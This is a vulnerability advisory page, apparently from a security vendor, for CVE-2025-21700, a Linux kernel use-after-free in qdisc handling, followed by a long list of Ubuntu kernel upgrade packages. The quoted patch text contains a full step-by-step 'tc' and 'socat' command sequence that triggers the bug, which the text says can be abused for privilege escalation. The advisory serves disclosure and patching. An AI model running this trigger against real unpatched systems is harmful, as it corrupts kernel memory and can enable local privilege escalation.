vulnerability

Ubuntu: (Multiple Advisories) (CVE-2025-21700): Linux kernel vulnerabilities

Severity
7
CVSS
(AV:L/AC:L/Au:S/C:C/I:C/A:C)
Published
Feb 13, 2025
Added
Apr 10, 2025
Modified
Aug 18, 2025

Description

In the Linux kernel, the following vulnerability has been resolved:

net: sched: Disallow replacing of child qdisc from one parent to another

Lion Ackermann was able to create a UAF which can be abused for privilege
escalation with the following script

Step 1. create root qdisc
tc qdisc add dev lo root handle 1:0 drr

step2. a class for packet aggregation do demonstrate uaf
tc class add dev lo classid 1:1 drr

step3. a class for nesting
tc class add dev lo classid 1:2 drr

step4. a class to graft qdisc to
tc class add dev lo classid 1:3 drr

step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr

step7.
tc class add dev lo classid 3:1 drr

step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

step 9. Display the class/qdisc layout

tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 limit 1000p
qdisc drr 3: dev lo parent 1:2

step10. trigger the bug <=== prevented by this patch
tc qdisc replace dev lo parent 1:3 handle 4:0

step 11. Redisplay again the qdiscs/classes

tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 1:3 root leaf 4: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
qdisc drr 3: dev lo parent 1:2

Observe that a) parent for 4:0 does not change despite the replace request.
There can only be one parent. b) refcount has gone up by two for 4:0 and
c) both class 1:3 and 3:1 are pointing to it.

Step 12. send one packet to plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
step13. send one packet to the grafted fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))

step14. lets trigger the uaf
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1

The semantics of "replace" is for a del/add _on the same node_ and not
a delete from one node(3:1) and add to another node (1:3) as in step10.
While we could "fix" with a more complex approach there could be
consequences to expectations so the patch takes the preventive approach of
"disallow such config".

Joint work with Lion Ackermann <[email protected]>

Solutions

ubuntu-upgrade-linux-image-4-15-0-1134-fipsubuntu-upgrade-linux-image-4-15-0-1141-oracleubuntu-upgrade-linux-image-4-15-0-1162-kvmubuntu-upgrade-linux-image-4-15-0-1172-gcpubuntu-upgrade-linux-image-4-15-0-1179-awsubuntu-upgrade-linux-image-4-15-0-1187-azureubuntu-upgrade-linux-image-4-15-0-2080-gcp-fipsubuntu-upgrade-linux-image-4-15-0-2096-azure-fipsubuntu-upgrade-linux-image-4-15-0-2117-aws-fipsubuntu-upgrade-linux-image-4-15-0-236-genericubuntu-upgrade-linux-image-4-15-0-236-lowlatencyubuntu-upgrade-linux-image-4-4-0-1112-fipsubuntu-upgrade-linux-image-4-4-0-1142-awsubuntu-upgrade-linux-image-4-4-0-1143-kvmubuntu-upgrade-linux-image-4-4-0-1180-awsubuntu-upgrade-linux-image-4-4-0-267-genericubuntu-upgrade-linux-image-4-4-0-267-lowlatencyubuntu-upgrade-linux-image-5-15-0-1023-nvidia-tegra-igxubuntu-upgrade-linux-image-5-15-0-1023-nvidia-tegra-igx-rtubuntu-upgrade-linux-image-5-15-0-1035-nvidia-tegraubuntu-upgrade-linux-image-5-15-0-1035-nvidia-tegra-rtubuntu-upgrade-linux-image-5-15-0-1046-xilinx-zynqmpubuntu-upgrade-linux-image-5-15-0-1064-gkeopubuntu-upgrade-linux-image-5-15-0-1074-ibmubuntu-upgrade-linux-image-5-15-0-1075-intel-iot-realtimeubuntu-upgrade-linux-image-5-15-0-1076-nvidiaubuntu-upgrade-linux-image-5-15-0-1076-nvidia-lowlatencyubuntu-upgrade-linux-image-5-15-0-1076-raspiubuntu-upgrade-linux-image-5-15-0-1077-intel-iotgubuntu-upgrade-linux-image-5-15-0-1078-kvmubuntu-upgrade-linux-image-5-15-0-1079-gkeubuntu-upgrade-linux-image-5-15-0-1079-oracleubuntu-upgrade-linux-image-5-15-0-1081-gcpubuntu-upgrade-linux-image-5-15-0-1081-gcp-fipsubuntu-upgrade-linux-image-5-15-0-1082-awsubuntu-upgrade-linux-image-5-15-0-1082-aws-fipsubuntu-upgrade-linux-image-5-15-0-1082-realtimeubuntu-upgrade-linux-image-5-15-0-1087-azureubuntu-upgrade-linux-image-5-15-0-1087-azure-fdeubuntu-upgrade-linux-image-5-15-0-1087-azure-fipsubuntu-upgrade-linux-image-5-15-0-138-fipsubuntu-upgrade-linux-image-5-15-0-138-genericubuntu-upgrade-linux-image-5-15-0-138-generic-64kubuntu-upgrade-linux-image-5-15-0-138-generic-lpaeubuntu-upgrade-linux-image-5-15-0-138-lowlatencyubuntu-upgrade-linux-image-5-15-0-138-lowlatency-64kubuntu-upgrade-linux-image-5-4-0-1049-iotubuntu-upgrade-linux-image-5-4-0-1062-xilinx-zynqmpubuntu-upgrade-linux-image-5-4-0-1090-ibmubuntu-upgrade-linux-image-5-4-0-1103-bluefieldubuntu-upgrade-linux-image-5-4-0-1118-fipsubuntu-upgrade-linux-image-5-4-0-1129-raspiubuntu-upgrade-linux-image-5-4-0-1131-kvmubuntu-upgrade-linux-image-5-4-0-1142-oracleubuntu-upgrade-linux-image-5-4-0-1144-awsubuntu-upgrade-linux-image-5-4-0-1144-aws-fipsubuntu-upgrade-linux-image-5-4-0-1147-gcpubuntu-upgrade-linux-image-5-4-0-1147-gcp-fipsubuntu-upgrade-linux-image-5-4-0-1149-azureubuntu-upgrade-linux-image-5-4-0-1149-azure-fipsubuntu-upgrade-linux-image-5-4-0-214-genericubuntu-upgrade-linux-image-5-4-0-214-generic-lpaeubuntu-upgrade-linux-image-5-4-0-214-lowlatencyubuntu-upgrade-linux-image-6-11-0-1008-realtimeubuntu-upgrade-linux-image-6-11-0-1011-raspiubuntu-upgrade-linux-image-6-11-0-1012-awsubuntu-upgrade-linux-image-6-11-0-1012-lowlatencyubuntu-upgrade-linux-image-6-11-0-1012-lowlatency-64kubuntu-upgrade-linux-image-6-11-0-1013-azureubuntu-upgrade-linux-image-6-11-0-1013-azure-fdeubuntu-upgrade-linux-image-6-11-0-1013-gcpubuntu-upgrade-linux-image-6-11-0-1013-gcp-64kubuntu-upgrade-linux-image-6-11-0-1014-oracleubuntu-upgrade-linux-image-6-11-0-1014-oracle-64kubuntu-upgrade-linux-image-6-11-0-1020-oemubuntu-upgrade-linux-image-6-11-0-24-genericubuntu-upgrade-linux-image-6-11-0-24-generic-64kubuntu-upgrade-linux-image-6-8-0-1010-gkeopubuntu-upgrade-linux-image-6-8-0-1014-azure-nvidiaubuntu-upgrade-linux-image-6-8-0-1023-gkeubuntu-upgrade-linux-image-6-8-0-1024-ibmubuntu-upgrade-linux-image-6-8-0-1024-oracleubuntu-upgrade-linux-image-6-8-0-1024-oracle-64kubuntu-upgrade-linux-image-6-8-0-1026-nvidiaubuntu-upgrade-linux-image-6-8-0-1026-nvidia-64kubuntu-upgrade-linux-image-6-8-0-1026-nvidia-lowlatencyubuntu-upgrade-linux-image-6-8-0-1026-nvidia-lowlatency-64kubuntu-upgrade-linux-image-6-8-0-1026-oemubuntu-upgrade-linux-image-6-8-0-1027-awsubuntu-upgrade-linux-image-6-8-0-1027-azureubuntu-upgrade-linux-image-6-8-0-1027-azure-fdeubuntu-upgrade-linux-image-6-8-0-1028-gcpubuntu-upgrade-linux-image-6-8-0-1028-gcp-64kubuntu-upgrade-linux-image-6-8-0-1028-raspiubuntu-upgrade-linux-image-6-8-0-2023-raspi-realtimeubuntu-upgrade-linux-image-6-8-0-58-genericubuntu-upgrade-linux-image-6-8-0-58-generic-64kubuntu-upgrade-linux-image-6-8-0-58-lowlatencyubuntu-upgrade-linux-image-6-8-0-58-lowlatency-64kubuntu-upgrade-linux-image-6-8-1-1020-realtimeubuntu-upgrade-linux-image-awsubuntu-upgrade-linux-image-aws-fipsubuntu-upgrade-linux-image-aws-hweubuntu-upgrade-linux-image-aws-lts-18-04ubuntu-upgrade-linux-image-aws-lts-20-04ubuntu-upgrade-linux-image-aws-lts-22-04ubuntu-upgrade-linux-image-aws-lts-24-04ubuntu-upgrade-linux-image-azureubuntu-upgrade-linux-image-azure-cvmubuntu-upgrade-linux-image-azure-fdeubuntu-upgrade-linux-image-azure-fde-lts-22-04ubuntu-upgrade-linux-image-azure-fde-lts-24-04ubuntu-upgrade-linux-image-azure-fipsubuntu-upgrade-linux-image-azure-lts-18-04ubuntu-upgrade-linux-image-azure-lts-20-04ubuntu-upgrade-linux-image-azure-lts-22-04ubuntu-upgrade-linux-image-azure-lts-24-04ubuntu-upgrade-linux-image-azure-nvidiaubuntu-upgrade-linux-image-bluefieldubuntu-upgrade-linux-image-fipsubuntu-upgrade-linux-image-gcpubuntu-upgrade-linux-image-gcp-64kubuntu-upgrade-linux-image-gcp-64k-lts-24-04ubuntu-upgrade-linux-image-gcp-fipsubuntu-upgrade-linux-image-gcp-lts-18-04ubuntu-upgrade-linux-image-gcp-lts-20-04ubuntu-upgrade-linux-image-gcp-lts-22-04ubuntu-upgrade-linux-image-gcp-lts-24-04ubuntu-upgrade-linux-image-genericubuntu-upgrade-linux-image-generic-64kubuntu-upgrade-linux-image-generic-64k-hwe-20-04ubuntu-upgrade-linux-image-generic-64k-hwe-22-04ubuntu-upgrade-linux-image-generic-64k-hwe-24-04ubuntu-upgrade-linux-image-generic-hwe-16-04ubuntu-upgrade-linux-image-generic-hwe-18-04ubuntu-upgrade-linux-image-generic-hwe-20-04ubuntu-upgrade-linux-image-generic-hwe-22-04ubuntu-upgrade-linux-image-generic-hwe-24-04ubuntu-upgrade-linux-image-generic-lpaeubuntu-upgrade-linux-image-generic-lpae-hwe-20-04ubuntu-upgrade-linux-image-generic-lts-xenialubuntu-upgrade-linux-image-gkeubuntu-upgrade-linux-image-gke-5-15ubuntu-upgrade-linux-image-gkeopubuntu-upgrade-linux-image-gkeop-5-15ubuntu-upgrade-linux-image-gkeop-6-8ubuntu-upgrade-linux-image-ibmubuntu-upgrade-linux-image-ibm-classicubuntu-upgrade-linux-image-ibm-lts-20-04ubuntu-upgrade-linux-image-ibm-lts-24-04ubuntu-upgrade-linux-image-intelubuntu-upgrade-linux-image-intel-iot-realtimeubuntu-upgrade-linux-image-intel-iotgubuntu-upgrade-linux-image-kvmubuntu-upgrade-linux-image-lowlatencyubuntu-upgrade-linux-image-lowlatency-64kubuntu-upgrade-linux-image-lowlatency-64k-hwe-20-04ubuntu-upgrade-linux-image-lowlatency-64k-hwe-22-04ubuntu-upgrade-linux-image-lowlatency-64k-hwe-24-04ubuntu-upgrade-linux-image-lowlatency-hwe-16-04ubuntu-upgrade-linux-image-lowlatency-hwe-18-04ubuntu-upgrade-linux-image-lowlatency-hwe-20-04ubuntu-upgrade-linux-image-lowlatency-hwe-22-04ubuntu-upgrade-linux-image-lowlatency-hwe-24-04ubuntu-upgrade-linux-image-lowlatency-lts-xenialubuntu-upgrade-linux-image-nvidiaubuntu-upgrade-linux-image-nvidia-6-8ubuntu-upgrade-linux-image-nvidia-64kubuntu-upgrade-linux-image-nvidia-64k-6-8ubuntu-upgrade-linux-image-nvidia-64k-hwe-22-04ubuntu-upgrade-linux-image-nvidia-hwe-22-04ubuntu-upgrade-linux-image-nvidia-lowlatencyubuntu-upgrade-linux-image-nvidia-lowlatency-64kubuntu-upgrade-linux-image-nvidia-tegraubuntu-upgrade-linux-image-nvidia-tegra-igxubuntu-upgrade-linux-image-nvidia-tegra-igx-rtubuntu-upgrade-linux-image-nvidia-tegra-rtubuntu-upgrade-linux-image-oemubuntu-upgrade-linux-image-oem-20-04ubuntu-upgrade-linux-image-oem-20-04bubuntu-upgrade-linux-image-oem-20-04cubuntu-upgrade-linux-image-oem-20-04dubuntu-upgrade-linux-image-oem-22-04ubuntu-upgrade-linux-image-oem-22-04aubuntu-upgrade-linux-image-oem-22-04bubuntu-upgrade-linux-image-oem-22-04cubuntu-upgrade-linux-image-oem-22-04dubuntu-upgrade-linux-image-oem-24-04ubuntu-upgrade-linux-image-oem-24-04aubuntu-upgrade-linux-image-oem-24-04bubuntu-upgrade-linux-image-oem-osp1ubuntu-upgrade-linux-image-oracleubuntu-upgrade-linux-image-oracle-64kubuntu-upgrade-linux-image-oracle-64k-lts-24-04ubuntu-upgrade-linux-image-oracle-lts-18-04ubuntu-upgrade-linux-image-oracle-lts-20-04ubuntu-upgrade-linux-image-oracle-lts-22-04ubuntu-upgrade-linux-image-oracle-lts-24-04ubuntu-upgrade-linux-image-raspiubuntu-upgrade-linux-image-raspi-hwe-18-04ubuntu-upgrade-linux-image-raspi-nolpaeubuntu-upgrade-linux-image-raspi-realtimeubuntu-upgrade-linux-image-raspi2ubuntu-upgrade-linux-image-realtimeubuntu-upgrade-linux-image-realtime-hwe-24-04ubuntu-upgrade-linux-image-snapdragon-hwe-18-04ubuntu-upgrade-linux-image-virtualubuntu-upgrade-linux-image-virtual-hwe-16-04ubuntu-upgrade-linux-image-virtual-hwe-18-04ubuntu-upgrade-linux-image-virtual-hwe-20-04ubuntu-upgrade-linux-image-virtual-hwe-22-04ubuntu-upgrade-linux-image-virtual-hwe-24-04ubuntu-upgrade-linux-image-virtual-lts-xenialubuntu-upgrade-linux-image-xilinx-zynqmp

References

    Title
    NEW

    Explore Exposure Command

    Confidently identify and prioritize exposures from endpoint to cloud with full attack surface visibility and threat-aware risk context.